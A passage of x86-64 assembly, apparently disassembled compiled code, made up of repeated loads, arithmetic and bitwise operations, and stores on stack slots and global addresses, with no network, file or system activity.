mov word [rsp + 0x19bc], ax
mov rax, qword [rsp + 0xd1f8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x65]
add eax, ecx
mov byte [rsp + 0x1bd], al
mov eax, dword [rsp + 0x68ec]
mov dword [rsp + 0x7094], eax
mov eax, dword [0x1402c90a0]
mov ecx, dword [rsp + 0x6f30]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6fdc], eax
lea rax, [rsp + 0xbce0]
mov qword [rsp + 0xf6e8], rax
mov rax, qword [rsp + 0xc258]
mov rcx, qword [rsp + 0xf5e8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xd140], rax
mov rax, qword [rsp + 0xe630]
movsx eax, byte [rax]
movsx ecx, byte [0x1402c9127]
xor eax, ecx
mov rcx, qword [rsp + 0xf1c8]
mov byte [rcx], al
lea rax, [rsp + 0x154c]
mov qword [0x1402c9830], rax
mov rax, qword [rsp + 0xc070]
movzx eax, word [rax]
mov word [rsp + 0x1cd4], ax
mov rax, qword [rsp + 0xf078]
movzx eax, byte [rax]
mov rcx, qword [0x1402c92d0]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x218], al
lea rax, [rsp + 0x14b]
mov qword [rsp + 0xf6f0], rax
mov rax, qword [rsp + 0xbe30]
movzx ecx, al
mov rax, qword [rsp + 0xf5a0]
shl rax, cl
mov rcx, qword [rsp + 0xefa0]
mov qword [rcx], rax
mov rax, qword [rsp + 0xe4b8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xf128]
mov qword [rsp + 0xf6f8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xf6f8]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0xdeb0]
mov qword [rcx], rax
mov eax, dword [rsp + 0x6dc8]
mov dword [rsp + 0x7098], eax
mov rax, qword [rsp + 0xebf0]
mov ecx, dword [rsp + 0x6a58]
imul ecx, dword [rax]
mov eax, ecx
mov rcx, qword [rsp + 0xd5e8]
mov dword [rcx], eax
movzx eax, word [rsp + 0x16b0]
mov word [rsp + 0x1cd8], ax
movzx eax, byte [rsp + 0x240]
mov rcx, qword [rsp + 0xcfe8]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [0x1402c9260]
mov byte [rcx], al
movsx eax, byte [rsp + 0xf7]
mov rcx, qword [rsp + 0xc9a0]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xf318]
mov byte [rcx], al
movzx eax, word [rsp + 0x18b0]
mov word [rsp + 0x1cdc], ax
movzx eax, word [rsp + 0x1578]
movzx ecx, word [rsp + 0x1964]
sub eax, ecx
mov word [rsp + 0x1914], ax
mov rax, qword [rsp + 0xe160]
mov rcx, qword [rsp + 0xcfe0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xe970], rax
lea rax, [rsp + 0x6a4c]
mov qword [rsp + 0xf700], rax
mov eax, dword [rsp + 0x6e40]
mov ecx, dword [rsp + 0x6e00]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xe5e0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xf220]
mov qword [rsp + 0xf708], rax
mov rax, qword [rsp + 0xcc90]
movsx eax, word [rax]
mov rcx, qword [0x1402c91e8]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x19bc], ax
lea rax, [rsp + 0xda]
mov qword [0x1402c9838], rax
movzx eax, word [rsp + 0x1bc0]
mov rcx, qword [rsp + 0xc5d8]
movzx ecx, word [rcx]
imul eax, ecx
mov word [rsp + 0x1890], ax
lea rax, [rsp + 0x202]
mov qword [rsp + 0xf710], rax
mov rax, qword [0x1402c93d0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1ac]
add eax, ecx
mov rcx, qword [rsp + 0xe350]
mov byte [rcx], al
mov rax, qword [rsp + 0xd900]
mov qword [rsp + 0xf718], rax
mov eax, dword [rsp + 0x7054]
mov ecx, dword [rsp + 0x6f00]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6df0], eax
mov rax, qword [rsp + 0xc878]
mov ecx, dword [rsp + 0x68d4]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x7048], eax
lea rax, [rsp + 0xccd8]
mov qword [rsp + 0xf720], rax
movsx eax, byte [rsp + 0xbf]
movsx ecx, byte [rsp + 0x126]
add eax, ecx
mov rcx, qword [rsp + 0xd648]
mov byte [rcx], al
movsx eax, word [rsp + 0x19bc]
mov rcx, qword [rsp + 0xd420]
movsx ecx, word [rcx]
shl eax, cl
mov word [0x1402c75ac], ax
mov rax, qword [rsp + 0xd938]
movzx eax, word [rax]
mov word [rsp + 0x1ce0], ax
movsx eax, word [rsp + 0x157c]
movsx ecx, word [0x1402c9540]
xor eax, ecx
mov word [rsp + 0x16a8], ax
mov rax, qword [rsp + 0xf580]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x100]
sar eax, cl
mov byte [rsp + 0x20d], al
movzx eax, byte [rsp + 0x1be]
mov byte [rsp + 0x255], al
mov rax, qword [rsp + 0xeb48]
mov rcx, qword [rsp + 0xcb58]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xce80], rax
mov rax, qword [rsp + 0xeca8]
mov rax, qword [rax]
mov qword [rsp + 0xf728], rax
mov rax, qword [rsp + 0xf118]
mov rcx, qword [rsp + 0xd0d0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x6f9c], eax
mov rax, qword [rsp + 0xecd8]
mov eax, dword [rax]
mov dword [rsp + 0x709c], eax
movzx eax, word [0x1402c75bc]
mov word [0x1402c9840], ax
movzx eax, word [rsp + 0x1938]
movzx ecx, word [rsp + 0x16dc]
add eax, ecx
mov rcx, qword [rsp + 0xca98]
mov word [rcx], ax
movsx eax, byte [rsp + 0x50]
mov rcx, qword [rsp + 0xc158]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x172], al
mov rax, qword [rsp + 0xef18]
movzx eax, byte [rax]
mov byte [rsp + 0x256], al
movzx eax, word [rsp + 0x19cc]
movzx ecx, word [rsp + 0x1a74]
add eax, ecx
mov word [rsp + 0x1808], ax
lea rax, [rsp + 0xef30]
mov qword [rsp + 0xf730], rax
mov rax, qword [rsp + 0xdd20]
mov rax, qword [rax]
mov rcx, qword [0x1402c7490]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xde10], rax
mov rax, qword [rsp + 0xef78]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7074]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xf4a0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x6fd0]
mov dword [rsp + 0x70a0], eax
movsx eax, word [0x1402c9490]
mov rcx, qword [rsp + 0xcbc0]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [0x1402c9608]
mov word [rcx], ax
movzx eax, byte [rsp + 0x75]
movzx ecx, byte [rsp + 0x145]
sub eax, ecx
mov byte [rsp + 0x245], al
lea rax, [rsp + 0x1658]
mov qword [rsp + 0xf738], rax
mov rax, qword [rsp + 0xc058]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xde28]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x200], al
mov rax, qword [rsp + 0xdf98]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x126]
add eax, ecx
mov byte [rsp + 0x1c0], al
mov rax, qword [rsp + 0xcf00]
mov rax, qword [rax]
mov qword [rsp + 0xf740], rax
mov rax, qword [rsp + 0xe990]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xe220]
mov qword [rsp + 0xf748], rcx
movzx ecx, al
mov rax, qword [rsp + 0xf748]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0xe5e0]
mov dword [rcx], eax
lea rax, [rsp + 0xe6e8]
mov qword [rsp + 0xf750], rax
mov rax, qword [rsp + 0xe530]
mov ecx, dword [rsp + 0x6a88]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x6cb0], eax
lea rax, [rsp + 0xa1]
mov qword [0x1402c9848], rax
movzx eax, byte [rsp + 0xfd]
mov rcx, qword [rsp + 0xeb98]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0xd1f8]
mov byte [rcx], al
lea rax, [rsp + 0x16e0]
mov qword [rsp + 0xf758], rax
mov rax, qword [rsp + 0xc378]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1b6c]
shl eax, cl
mov word [rsp + 0x1924], ax
lea rax, [rsp + 0x1724]
mov qword [rsp + 0xf760], rax
mov rax, qword [rsp + 0xc830]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x706c]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xc890]
mov dword [rcx], eax
lea rax, [rsp + 0xdde8]
mov qword [rsp + 0xf768], rax
mov rax, qword [rsp + 0xc8e8]
mov rcx, qword [rsp + 0xec28]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xf750]
mov qword [rcx], rax
mov rax, qword [rsp + 0xf700]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6f44]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6b70], eax
mov rax, qword [rsp + 0xcc90]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xdea8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x1402c762c], ax
mov rax, qword [rsp + 0xecb0]
movzx eax, byte [rax]
mov byte [rsp + 0x257], al
movzx eax, byte [rsp + 0xe8]
mov rcx, qword [rsp + 0xbd30]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x1d3], al
mov rax, qword [rsp + 0xda60]
movzx eax, word [rax]
mov word [rsp + 0x1ce4], ax
movzx eax, byte [rsp + 0x1f0]
mov rcx, qword [rsp + 0xf140]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xd5], al
mov rax, qword [rsp + 0xf500]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6cc0]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xd8c0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x6ebc]
mov dword [rsp + 0x70a4], eax
mov rax, qword [rsp + 0xde70]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xce10]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xcde0], rax
mov rax, qword [rsp + 0xf650]
mov qword [rsp + 0xf770], rax
movzx eax, word [rsp + 0x1818]
mov rcx, qword [rsp + 0xbf88]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x1402c93a0]
mov word [rcx], ax
movsx eax, byte [rsp + 0x22e]
mov rcx, qword [rsp + 0xf3b0]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xcea8]
mov byte [rcx], al
mov rax, qword [rsp + 0xf710]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xe6]
shl eax, cl
mov byte [rsp + 0x1cb], al
movzx eax, byte [rsp + 0x98]
mov byte [rsp + 0x258], al
mov rax, qword [rsp + 0xe528]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xe610]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1704], ax
lea rax, [rsp + 0x7014]
mov qword [rsp + 0xf778], rax
mov rax, qword [rsp + 0xf268]
mov rcx, qword [rsp + 0xc2f8]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0xcbb0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xe118]
mov qword [rsp + 0xf780], rax
mov rax, qword [rsp + 0xbc90]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc028]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xead8]
mov qword [rcx], rax
movsx eax, word [rsp + 0x15e4]
movsx ecx, word [rsp + 0x1ca4]
and eax, ecx
mov word [0x1402c7630], ax
movsx eax, byte [rsp + 0xc8]
movsx ecx, byte [rsp + 0xa7]
add eax, ecx
mov rcx, qword [rsp + 0xbd70]
mov byte [rcx], al
mov rax, qword [0x1402c9340]
movzx eax, word [rax]
mov word [rsp + 0x1ce8], ax
mov rax, qword [rsp + 0xc0f0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x241]
add eax, ecx
mov rcx, qword [rsp + 0xd088]
mov byte [rcx], al
lea rax, [rsp + 0x1a70]
mov qword [rsp + 0xf788], rax
mov rax, qword [rsp + 0xeca8]
mov rcx, qword [rsp + 0xbeb8]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xce18]
mov qword [rcx], rax
mov rax, qword [rsp + 0xe7e0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6b60]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xf180]
mov dword [rcx], eax
lea rax, [rsp + 0x6ac4]
mov qword [rsp + 0xf790], rax
mov rax, qword [rsp + 0xde98]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xced8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xdd78]
mov qword [rcx], rax
mov rax, qword [rsp + 0xd440]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xdab8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1402c9144], al
movzx eax, word [rsp + 0x1c6c]
mov word [rsp + 0x1cec], ax
movsx eax, word [rsp + 0x18dc]
movsx ecx, word [rsp + 0x1974]
add eax, ecx
mov word [rsp + 0x17c0], ax
movsx eax, byte [rsp + 0x1ad]
mov rcx, qword [rsp + 0xe868]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xf478]
mov byte [rcx], al
movzx eax, word [rsp + 0x1b88]
mov word [rsp + 0x1cf0], ax
mov rax, qword [rsp + 0xd6b0]
mov ecx, dword [rsp + 0x6a6c]
imul ecx, dword [rax]
mov eax, ecx
mov rcx, qword [rsp + 0xd9b8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xdfd0]
mov qword [rsp + 0xf798], rax
mov rax, qword [rsp + 0xeab0]
mov rcx, qword [rsp + 0xb9d8]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xef98], rax
mov rax, qword [rsp + 0xd708]
mov ecx, dword [rsp + 0x6a44]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0xcdf8]
mov dword [rcx], eax
lea rax, [rsp + 0x154c]
mov qword [rsp + 0xf7a0], rax
movsx eax, byte [rsp + 0x1f4]
mov rcx, qword [rsp + 0xda10]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [0x1402c90d0]
mov byte [rcx], al
movzx eax, word [rsp + 0x1a0c]
mov rcx, qword [rsp + 0xebf8]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xd2b0]
mov word [rcx], ax
lea rax, [rsp + 0x1d3]
mov qword [rsp + 0xf7a8], rax
mov rax, qword [rsp + 0xf2e0]
movzx eax, word [rax]
movzx ecx, word [0x1402c9510]
sub eax, ecx
mov word [rsp + 0x15dc], ax
mov rax, qword [rsp + 0xc568]
mov qword [rsp + 0xf7b0], rax
mov rax, qword [rsp + 0xf550]
mov rcx, qword [rsp + 0xc450]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xc7a8], rax
mov rax, qword [rsp + 0xd190]
mov ecx, dword [0x1402c90a0]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xf578]
mov dword [rcx], eax
mov eax, dword [rsp + 0x6da4]
mov dword [rsp + 0x70a8], eax
movsx eax, word [rsp + 0x1c78]
mov rcx, qword [rsp + 0xd758]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xcbc0]
mov word [rcx], ax
movsx eax, byte [rsp + 0x7e]
movsx ecx, byte [rsp + 0x10c]
add eax, ecx
mov byte [str.d_t_v_f], al
lea rax, [rsp + 0x1750]
mov qword [rsp + 0xf7b8], rax
mov rax, qword [rsp + 0xd570]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x196c]
sub eax, ecx
mov word [rsp + 0x18a8], ax
mov rax, qword [rsp + 0xcec8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x104]
sub eax, ecx
mov rcx, qword [rsp + 0xc908]
mov byte [rcx], al
mov eax, dword [rsp + 0x6a68]
mov dword [rsp + 0x70ac], eax
mov rax, qword [rsp + 0xcb38]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6aec]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6af4], eax
lea rax, [rsp + 0xcb58]
mov qword [rsp + 0xf7c0], rax
mov rax, qword [rsp + 0xde60]
mov rcx, qword [rsp + 0xf0d8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xea88], rax
mov rax, qword [rsp + 0xbef8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x10e]
add eax, ecx
mov byte [rsp + 0x72], al
mov rax, qword [0x1402c95b0]
movzx eax, byte [rax]
mov byte [0x1402c916e], al
mov rax, qword [rsp + 0xef68]
movzx eax, word [rax]
mov word [rsp + 0x1cf4], ax
movzx eax, byte [rsp + 0x253]
movzx ecx, byte [rsp + 0x77]
add eax, ecx
mov byte [rsp + 0x254], al
mov rax, qword [rsp + 0xe3c8]
movzx eax, byte [rax]
mov byte [rsp + 0x259], al
mov rax, qword [rsp + 0xe320]
mov rcx, qword [0x1402c90a8]
mov qword [rsp + 0xf7c8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xf7c8]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xcca8], rax
mov rax, qword [rsp + 0xcb70]
mov qword [rsp + 0xf7d0], rax
mov eax, dword [rsp + 0x6ed0]
movzx ecx, al
mov eax, dword [rsp + 0x6ea4]
shr eax, cl
mov rcx, qword [rsp + 0xc380]
mov dword [rcx], eax
mov eax, dword [rsp + 0x700c]
mov ecx, dword [0x1402c7498]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x6b34], eax
lea rax, [rsp + 0x1ab4]
mov qword [rsp + 0xf7d8], rax
mov rax, qword [rsp + 0xbc78]
movzx eax, byte [rax]
mov rcx, qword [0x1402c9220]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [0x1402c9198]
mov byte [rcx], al
mov rax, qword [rsp + 0xbed8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xc640]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xbd58]
mov byte [rcx], al
movzx eax, word [rsp + 0x15c4]
mov word [rsp + 0x1cf8], ax
mov rax, qword [rsp + 0xcf70]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xf680]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xd4e8]
mov word [rcx], ax
mov rax, qword [rsp + 0xe5d0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x178]
add eax, ecx
mov rcx, qword [rsp + 0xbc58]
mov byte [rcx], al
lea rax, [rsp + 0x6ca8]
mov qword [rsp + 0xf7e0], rax
mov rax, qword [rsp + 0xe9c8]
mov rcx, qword [rsp + 0xceb0]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0xef48]
mov qword [rcx], rax
lea rax, [rsp + 0xc060]
mov qword [rsp + 0xf7e8], rax
mov rax, qword [rsp + 0xeb70]
mov rcx, qword [rsp + 0xcef8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x68f4], eax
mov rax, qword [rsp + 0xdf80]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xf0e0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1402c748a], al
movsx eax, word [rsp + 0x1afc]
mov rcx, qword [rsp + 0xe710]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1ad4], ax
lea rax, [rsp + 0x1a74]
mov qword [rsp + 0xf7f0], rax
mov rax, qword [0x1402c9248]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xe190]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x182c], ax
movzx eax, byte [rsp + 0x14b]
mov byte [rsp + 0x25a], al
mov rax, qword [rsp + 0xbb40]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc678]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xe808], rax
mov eax, dword [rsp + 0x6a78]
mov ecx, dword [0x1402c7498]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x6f84], eax
mov rax, qword [rsp + 0xee90]
mov rax, qword [rax]
mov qword [rsp + 0xf7f8], rax
mov rax, qword [rsp + 0xd8b0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x6eac]
shr eax, cl
mov rcx, qword [rsp + 0xd3f8]
mov dword [rcx], eax
lea rax, [0x1402c75d4]
mov qword [0x1402c9850], rax
mov rax, qword [rsp + 0xf590]
movzx eax, byte [rax]
mov byte [rsp + 0x25b], al
mov rax, qword [rsp + 0xc918]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x177]
xor eax, ecx
mov byte [rsp + 0x8b], al
mov rax, qword [rsp + 0xc940]
movzx eax, word [rax]
mov word [rsp + 0x1cfc], ax
mov rax, qword [rsp + 0xc260]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xdde0]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1664], ax
mov rax, qword [rsp + 0xbd38]
mov eax, dword [rax]
cdq
idiv dword [rsp + 0x70a4]
mov rcx, qword [rsp + 0xf7e0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xee70]
mov rax, qword [rax]
mov qword [rsp + 0xf800], rax
mov rax, qword [rsp + 0xf0b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6c38]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x6da0], eax
lea rax, [rsp + 0xc300]
mov qword [rsp + 0xf808], rax
mov rax, qword [rsp + 0xc680]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x18d0]
imul eax, ecx
mov word [0x1402c7634], ax
mov rax, qword [rsp + 0xbb50]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1ae]
sub eax, ecx
mov byte [rsp + 0x20a], al
mov rax, qword [rsp + 0xd7d0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x16a]
sub eax, ecx
mov byte [rsp + 0x1ce], al
lea rax, [rsp + 0x161]
mov qword [rsp + 0xf810], rax
mov rax, qword [rsp + 0xeec8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1c54]
add eax, ecx
mov word [rsp + 0x1978], ax
lea rax, [rsp + 0xbd00]
mov qword [rsp + 0xf818], rax
mov rax, qword [rsp + 0xde98]
mov rcx, qword [rsp + 0xdd78]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xc370], rax
mov rax, qword [rsp + 0xcf28]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6d40]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x6e54], eax
lea rax, [rsp + 0x6aa0]
mov qword [rsp + 0xf820], rax
movzx eax, byte [rsp + 0x1ba]
movzx ecx, byte [rsp + 0x24d]
sub eax, ecx
mov rcx, qword [0x1402c92d0]
mov byte [rcx], al
mov rax, qword [rsp + 0xba10]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xf088]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1918], ax
lea rax, [rsp + 0x10f]
mov qword [rsp + 0xf828], rax
movzx eax, word [rsp + 0x1660]
movzx ecx, word [rsp + 0x1b74]
add eax, ecx
mov rcx, qword [rsp + 0xcbf0]
mov word [rcx], ax
mov rax, qword [rsp + 0xedd0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xcc30]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xc528]
mov word [rcx], ax
mov rax, qword [rsp + 0xd048]
mov eax, dword [rax]
mov dword [rsp + 0x70b0], eax
mov rax, qword [rsp + 0xe810]
mov rcx, qword [rsp + 0xf210]
mov qword [rsp + 0xf830], rcx
movzx ecx, al
mov rax, qword [rsp + 0xf830]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0xd0f8], rax
lea rax, [rsp + 0x6bc0]
mov qword [rsp + 0xf838], rax
mov rax, qword [rsp + 0xf3e8]
mov rcx, qword [rsp + 0xdbd0]
mov qword [rsp + 0xf840], rcx
movzx ecx, al
mov rax, qword [rsp + 0xf840]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xc0c0], rax
lea rax, [rsp + 0x1acc]
mov qword [0x1402c9858], rax
mov rax, qword [rsp + 0xc5b0]
movzx eax, byte [rax]
mov byte [rsp + 0x25c], al
movsx eax, word [rsp + 0x1aa4]
mov rcx, qword [rsp + 0xcce0]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x15bc], ax
movsx eax, byte [rsp + 0x174]
movsx ecx, byte [rsp + 0x50]
xor eax, ecx
mov rcx, qword [rsp + 0xed78]
mov byte [rcx], al
mov rax, qword [rsp + 0xc000]
movzx eax, byte [rax]
mov byte [rsp + 0x25d], al
mov rax, qword [rsp + 0xc810]
mov rcx, qword [rsp + 0xf178]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0xcf98]
mov qword [rcx], rax
mov eax, dword [0x1402c90a0]
mov dword [rsp + 0x70b4], eax
mov eax, dword [rsp + 0x6a5c]
mov ecx, dword [rsp + 0x7084]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x7080], eax
mov rax, qword [rsp + 0xf808]
mov rcx, qword [rsp + 0xe160]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xcc60], rax
mov rax, qword [rsp + 0xef80]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xbf08]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x1402c9460]
mov word [rcx], ax
mov rax, qword [rsp + 0xbe58]
movzx eax, byte [rax]
mov byte [rsp + 0x25e], al
mov rax, qword [rsp + 0xcef0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xe780]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1c3c], ax
mov rax, qword [rsp + 0xddf8]
movzx eax, byte [rax]
mov byte [rsp + 0x25f], al
movzx eax, word [rsp + 0x1a6c]
movzx ecx, word [rsp + 0x1bb8]
sub eax, ecx
mov word [rsp + 0x1bd8], ax
mov eax, dword [rsp + 0x6b00]
mov ecx, dword [rsp + 0x6e40]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xddd8]
mov dword [rcx], eax
lea rax, [rsp + 0x70a0]
mov qword [rsp + 0xf848], rax
mov rax, qword [rsp + 0xd6e8]
mov rcx, qword [rsp + 0xba70]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xe790]
mov qword [rcx], rax
mov rax, qword [rsp + 0xc880]
mov rax, qword [rax]
mov qword [rsp + 0xf850], rax
movzx eax, word [0x1402c74a0]
mov rcx, qword [rsp + 0xdbf8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1402c7638], ax
movzx eax, byte [rsp + 0x225]
movzx ecx, byte [rsp + 0x123]
add eax, ecx
mov byte [rsp + 0x54], al
lea rax, [rsp + 0x23a]
mov qword [rsp + 0xf858], rax
movsx eax, byte [0x1402c90b5]
mov rcx, qword [rsp + 0xe868]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xee88]
mov byte [rcx], al
mov rax, qword [rsp + 0xee10]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xba68]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1ccc], ax
mov rax, qword [rsp + 0xecc8]
mov qword [rsp + 0xf860], rax
mov rax, qword [rsp + 0xdb70]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xe388]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xf270]
mov qword [rcx], rax
lea rax, [rsp + 0x6e04]
mov qword [rsp + 0xf868], rax
mov rax, qword [rsp + 0xedb0]
mov ecx, dword [rsp + 0x6dd0]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x6bc4], eax
mov rax, qword [0x1402c9428]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1d3]
and eax, ecx
mov byte [rsp + 0x168], al
movsx eax, byte [rsp + 0x117]
movsx ecx, byte [rsp + 0x194]
sub eax, ecx
mov byte [0x1402c916a], al
mov rax, qword [rsp + 0xdae8]
movzx eax, word [rax]
mov word [rsp + 0x1d00], ax
movzx eax, word [rsp + 0x161c]
movzx ecx, word [rsp + 0x16cc]
sub eax, ecx
mov rcx, qword [rsp + 0xea38]
mov word [rcx], ax
movzx eax, word [rsp + 0x15f4]
mov word [rsp + 0x1d04], ax
mov rax, qword [0x1402c7490]
mov rcx, qword [rsp + 0xf628]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xcf68], rax
mov rax, qword [rsp + 0xedb0]
mov ecx, dword [rsp + 0x6be8]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xc7b0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x6a10]
mov dword [rsp + 0x70b8], eax
mov rax, qword [rsp + 0xf730]
mov rcx, qword [rsp + 0xd718]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xe298]
mov qword [rcx], rax
lea rax, [rsp + 0x149]
mov qword [rsp + 0xf870], rax
lea rax, [rsp + 0x1738]
mov qword [0x1402c9860], rax
mov rax, qword [rsp + 0xd1a8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x154c]
